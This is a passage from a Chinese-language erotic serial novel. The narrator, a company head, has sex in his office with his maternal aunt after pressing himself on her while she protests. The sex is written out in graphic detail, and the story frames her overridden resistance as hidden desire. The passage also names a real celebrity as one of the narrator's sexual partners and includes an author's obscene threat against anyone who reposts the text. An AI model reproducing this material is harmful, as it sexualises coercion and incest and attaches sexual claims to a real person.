关你的事儿?都是那妞……”

“是的是的,”我小鸡啄米似的点头,拼命的顺着杆子爬,“我确实原本是
不想那样做的!可是不知道怎么了!”

“哦!……”小姨听着我这样的解释完全一副不屑的眼神和表情。我知道我
没有解释明白。

“天大的冤枉,我可没有你想的那么色!”

看着我使劲的表白,小姨好像都要笑出来了,可好像突然又想起来什么,说
:“不会是那个江月给你下来什么药吧?看那小丫头,我想不至于把!”到底是
自己的小姨,这种情况下也能想出将责任推给别人的理由。

“嗯!…我也不知道,不过回想起来她应该没有这样的机会,因为始终她没
有离开过我的视线,而且这种我自己的情绪不受自己思想的控制的情况上次在美
国长时间出差的时候也出现过,不过那一次好像没有这么严重!”

“是吗?是没有这么严重啊!这一次你确实严重!哎,对了,上一次好想你
是和钟副市长一起去的美国,哦?”

听到小姨不阴不阳的小话,我心里的想了,小姨是怎么了,不明白!好像我
是她丈夫似的,听起来有点酸酸的味道!

“你把那个江月做了,看你回去怎么给你妈妈交代,要知道,让她这样入住
冬青-恒昌是不是太快了?”

“小姨,这件事儿还求你别给我妈说啊!我想即便是说了,她肯定不会有什
么异言,可是她老人家会不会感到这个儿子太不尊重她了,什么事儿也不提前没
有和妈妈说一声,她肯定不高兴了!上一次去美国的时候没有提前和她说一声,
都已经惹她伤心了!还有,江月绝不会主冬青-恒昌的,小姨才是这里真正的主
人。”

“啊!不是吧?我……”说到这儿,小姨好像想起什么,指指里屋,“嘘!
别说了,去我办公室吧,谁知道里面的那个小丫头是不是睡着了?也许这一会儿
正支着耳朵听呢!”

“哪有什……”我还没有说出来下面的话呢,小姨就抓着我的衣襟跑到了她
的办公室。

小姨的办公室也是一个套间,在我的办公室的西边。她任董事长办公室主任
以后,我就将这间原来馨姐的哪间办公室给了她。这样,在这个公司里面只有她
的办公室和我的一样规格。这间办公室还属于馨姐的时候我将中间打了一个暗门,
方便我们两个幽会,现在馨姐好长时间没有再来办公室了,而且从打她生了我们
女儿以后,她表示一切公司事务绝不再参与。她已经安心的要在家相夫教子了!

到了小姨的办公室,小姨使劲儿的在我的胸口上锤了一拳:“你小子现在的
思想真的很邪?刚才你怎么回事儿?怎么能在办公室就把江月给解决了呢?这要
是传出去,你不娶她都不行!想过后果嘛?还说冬青—恒昌是我的,简直是屁话,
早晚不得传给你,我和你妈妈等着享你的福呢,你怎么能做事如此草率?”小姨
教训的义正严词,可是神态却不是那么的严肃。

“我也不知道,这一段时间老是觉得心火旺,什么事情都容易冲动!”

“我说…,你不是得了什么病了吧,可不要吓我。你有病了我和姐姐怎么办
啊?”说到这里小姨表现出了很着急的样子。看着小姨的样子,我心里又是感动,
又是好笑,我得病了,我妈妈活不下去了还是说的过去了,可是小姨你?不过看
到小姨的真情流露,心里着实感动!想想也是,毕竟这个世界上她的亲人也就两
三个了。

“我没有事儿的,身体没有一点毛病,只是觉得自己心情上面有点燥,是不
是前一段时间吃那个人参的缘故!我都说了不吃,李博士说他有办法能够让我吃
了固本培元,而且不上火,不该听他的!”我拍了拍趴在我胸前的小姨,另一只
手和自然的伸进了她的衣服里,在她的腰背部嫩滑的皮肤上上下抚摸了起来!小
姨听我说自己没有事儿,慢慢的放心下来,这时候她也感到了我的手在她的后背
上不老实。小姨的表情开始有一点异样,看到小姨吃惊的样子,我自己也意识到
了自己的错误,趴在怀中的是对自己关心的小姨啊,是自己的亲姨妈,自己怎么
能这样呢?我的手赶紧的抽了出来,小姨的脸一下子红到了耳根后面!一向什么
都不害怕的她这一会儿也感到了尴尬和羞涩!

我极力的掩饰自己的尴尬,赶紧的问:“小姨,你喝咖啡吗?”我离开刚才
自己站的位置,想借着给小姨冲咖啡掩饰一下自己的尴尬,可当我站起来的时候,
才感觉到刚才在江月的小屄里面发泄过的小弟弟现在又在自己的裤裆里支起了帐
篷。转身走路的时候感觉十分别扭,不禁的弯下了腰。小姨看见我的样子,“噗
哧”的一下子笑出来声,为了解除我的尴尬,她说:“充什么咖啡啊,你以为这
是你的办公室?这是小姨的办公室,还是小姨给你泡茶吧,喝点清茶,你也好降
降火?”

我一下子感觉自己糗大了,赶紧的跑到沙发上坐了下来,还故意的搭起了二
郎腿。看着小姨轻柔的给我泡茶的样子,曼妙可人,我刚才的那股子被尴尬浇下
去的火苗一下子又上来了。我的心理非常吃惊,我今天到底是怎么了?

“对不起,小姨,别取笑我了,刚才是失误,谁让你在我刚走出温柔乡的时
候出现在我面前呢!我难道不能有点回味?”

“啊!你小子说什么呢?”小姨一脸惊奇,这时,我也感到自己怎么能够对
小姨说出这么轻薄的话语,这是对小姨的不尊重!我想对小姨说对不起,可是当
我说出话来的时候,我自己都不敢相信!“小姨,你不知道你有多美,如果你要
是参加选美的话,肯定能够战胜所有对手得到世界小姐的!”

“我说小子,你真的准备拿你小姨开涮了?”小姨脸上一阵红晕,颇为尴尬
的为自己圆场,这时候小姨已经停止为我冲茶了,她好像也感觉到我现在那儿好
像有一些不正常,可是她这个时候并没有让我离开,只是停止了泡茶,自己尴尬
的站在那里好像是不知道下一步该干什么了似的!

这时候我已经完全意识到了自己的过分,我开始认真的反省自己,我清楚的
知道自己的欲望方面肯定是出问题了,我一定要赶快的离开这里,让自己在没有
女人的地方清净清净。

“小姨,给我口凉水吧,我不喝茶了!”我想弄点凉水浇浇心火,我起来慢
慢的走向小姨,准备去接水,谁知道这时候一下子抓住了小姨的手,我心中压抑
的心火一下子冒了出来,我一把将小姨带进了我的怀里,很自然的吻上了小姨的
双唇,小姨也没有想到事情会变成这个样子,她本能的挣扎了两下,很快,左臂
很自然的搭载了我的脖子上,可是这时候,她已经感到我的手顺着她的小腹向下
去了:“小远,不要啊,我是你小姨!”

“小姨?…”听到这个熟悉的称呼,我一下子清醒了,用力的推开了小姨,
开始踉踉跄跄的向外面走去。

小姨这时候也感到了事情的严重,可是她好像又不敢过来扶我,这时候我的
鼻子开始向下滴血,而且好像不是那种一般的滴,而是流,小姨一下子忘记了尴
尬,顾不得那么多了,跑过来拉住我让我到沙发上躺着,她用刚才的那杯凉水给
我拍额头。这时候我闻到了小姨身上幽幽的体香,我的心里的火苗腾的一下子又
上来了,我坐起来一把把小姨抱住,使劲的吻住了小姨。突然发生的事情,小姨
这时候完全失去了抵抗力,突如其来的事件完全的使她懵了。很快小姨在我舌头
的攻击下,一点点的张开了香唇,我的舌头在她的口中探寻着她的香舌,起初她
拼命的躲着,可很快的就和我的舌头缠绕在了一起!

(如果那位大大将我的文章贴去羔羊文兴天下,我就象操羔羊一样操他妈!)

不知道时间过去了多久,只是我看到了两个相互缠绕着的躯体,在小姨套间
里面的床上,我们一丝不挂,我的鸡巴还在小姨的嫩屄里插着着,从我们两个接
触的地方好在缓缓的淌出来我们两个的混合物,而小姨雪白的屁股下面是一滩黄
黄的水渍,和几朵红色的梅花!这时候的我已经完全的清醒了,而且很清醒,我
清楚自己刚才干了什么!小姨从始至终都没有睁开眼睛,不过在刚才高潮的时候,
她确实尽情的呻吟,说一些不清楚什么意思的话语!

我的脑子已经慢慢的活动了起来,开始一点点的回忆起来刚才发生的事情:
刚才我抱住小姨以后和小姨接吻的时候,由于自己的鼻子被纸堵住了,完全不能
呼吸,因此我的脑子像是缺氧了似的晕晕的,可是我即便是那样,也没有想松开
的意思,这时候小姨使劲的推开我,而我好像是受了鼓励似的,一把的抱起小姨
轻车熟路的来到了这个里间屋子(在这个屋子的床上,我和馨姐不知道疯狂过多
少次!),一把把小姨抛在了床上,像一个饿狼一样的扑了过去,小姨的衣服完
全不是我的障碍,很快的它们已经飞得满屋都是了,当我和小姨赤裸相对的时候,
小姨已经完全不再反抗了,她很温顺的等待着自己人生的最重要的时刻!也是重
大转折。

我轻轻的掰开小姨的大腿,小姨很羞涩的样子,可是还是很配合的分开了自
己的双腿,让我看清楚了她那美丽的桃源,两片美丽的阴唇自然合拢着掩盖着桃
源的入口,稀疏的阴毛漫漫的长在阴阜之上,唯一突出的是她的小豆豆在我的刺
激下已经充血的涨出了阴唇的包裹,这时候小姨的屁股上晶晶亮都是阴液,一定
是刚才我们在互相摩擦彼此的生殖器的时候她流出的阴液浸湿了自己的内裤,又
濡湿了她的屁股!我用手慢慢的探寻者她的肛门,她那里面好像是不堪我的挑逗,
一下下的收缩着!

这时候的我看着这样的美景,再也忍受不了自己欲望的煎熬了,我开始挺起
了自己的银枪,对准了早已润滑的桃源一下子长驱直入!

“啊~!你慢一点……慢一点……哦!终于……是你的……了!”这是我从
头至尾听懂的唯一的一句她的话!后来在我疯狂的冲杀之下,她在短短的一个半
小时里面居然达到了9次高潮!我完全不知道为什么自己和小姨怎么能够如此的
契合,在我经历的所有女人中,除了馨姐,好像还没有和那个女人能够和小姨这
样达到这样的同进退,当我第三次将自己的浓精灌进小姨的子宫的时候,我听到
了小姨无力的呻吟:“不……要……是……危险……”可是后面小姨没有再说,
只是开始了又一次的高潮了!

当我们从波涛中慢慢的滑落的时候,一幅温馨而又淫靡的图画从床边的镜子
里同时的映入了我们的眼帘,两个雪白的胴体交叠这在床罩上面,小姨的双腿被
我分开到了极致,小姨的屁股下面的几朵绚丽的梅花格外的夺目。当小姨看到了
这一幕,羞涩的使劲的闭上了自己的眼睛,她不知道接下来该怎么办,自己的屄
里面还火辣辣的疼着,可是那要命的快感确不听自己的号令,在自己的身体里面
来回的窜来窜去。

“接下来该怎么办啊?”这个问题现在几乎同时在我们两个的脑子里闪现。
我自己现在已经知道了这件事的严重性,看着小姨痛苦和快感交织的表情,我的
心里不知道是一个什么样的滋味。我知道我闯了祸,这是我从打和馨姐发生第一
次关系以来第一次有这样心虚的感觉,即便是在北京和刘若英发生性关系我也没
有今天这样的感觉,我心里完全被这种乱伦的恐惧所充斥者。一向不知道什么是
困难的我现在真的不知道往后应该怎么去面对我的小姨、妈妈,以及怎么去和馨
姐说,和所有爱我的人说。我慢慢的从小姨的身上起来,没有去安慰小姨,只是
想对待当初的馨姐那样,默默的跪在了床头。

“对不起!小姨,我不知道我这一段时间是中了什么邪了!我知道自己给你
带来的是什么样的伤害,我知道我请求你的原谅是不可能的,不过我想我会惩罚
我自己的,请你就当自己被狗咬了一口算了。我不会让我自己轻易的逃脱惩罚的!”
这时候的我完全失去了生的欲望,我不知道一个人为什么能够和自己的亲姨妈上
床,而且还戳破了姨妈的处女膜,在一个半小时里向姨妈的子宫里面灌进去了无
数的精液,我不知道还有什么理由可以原谅这样的自己!

“你要干什么?……你……为什么要做傻事?我知道你不是故意的,但是我
同样的不会原谅你,不过我真的不希望你做出什么傻事,因为毕竟你是我姐姐的
唯一的儿子,我会离开的,我不希望再见到你,也不希望你去岭南见我。”

王彤是一个很开朗的女孩,虽然已经快要三十岁了,可是还是小女孩心性,
有过人的才智,却没有什么城府,心底也很善良。今天经受了这样的打击,使她
完全不知道今后的日子会怎么度过!她现在唯一的感觉就是尽快的离开这个男人,
在她的眼里,自己的外甥现再已经不是一个小男孩了,更像是一个恶魔,一个能
够随时牵动她心里最敏感的地方的恶魔,她一次次的告诉自己,要快一点离开,
要快一点离开,现在她知道自己与其说是恨他不想见他,还不如说她是逃避,逃
得远远的,永远的都不要再见到他。

王彤的内心世界里面不知道今后的日子该如何度过,曾经很多少次梦里的画
面今天在现实世界里面发生了。她从打第一次见到这个男孩,就感觉自己的心弦
被轻轻的波动了,只是那个时候她自己没有意识的到,觉的这个男孩真的是自己
外甥嘛,和自己有着天然的亲近,她为自己有这样的感觉由衷的高兴。后来很多
次外甥回岭南的时候,她都会有意无意的创造机会和他在一起单独待上一待,这
样好像心灵上获得了满足似的总是那样快乐。前一段时间,他让自己进入公司做
董事长办公室主任,她完全想都没有想就答应了,虽然这个工作不合她的性格,
可是王彤还是干的那么高兴。弄得她姐姐王红很是纳闷,以前让她做恒昌的董事
长,推三阻四。终于,今天的一切让王彤明白了自己当初的选择,明白了自己对
待这个小自己三岁的外甥的感情,自己守身如玉的等待的人难道就是他?不能啊!
王彤不止一次的对自己呐喊,我不能爱上自己的外甥啊!

现在的王彤一点也不感到后悔,更谈不上恨他了,她的心里完全知道自己一
直都期盼着这一刻!只是以前不明白,现在发生了,什么就都清楚了。一个不争
的事实摆在了自己的面前,他是自己的亲外甥,所以她必须选择离开,如果让她
再呆在他的身边,她不可能忍住不投入到他的怀抱里去的!可是现在——不——
应该是永远都不可能成为现实的。他毕竟是自己姐姐的儿子,自己的亲外甥!想
到这里,王彤的心里一阵阵的抽筋,他不仅仅是自己的外甥,还是自己的第一个,
而且有可能是唯一的一个男人!王彤的心里简直是欲哭无泪!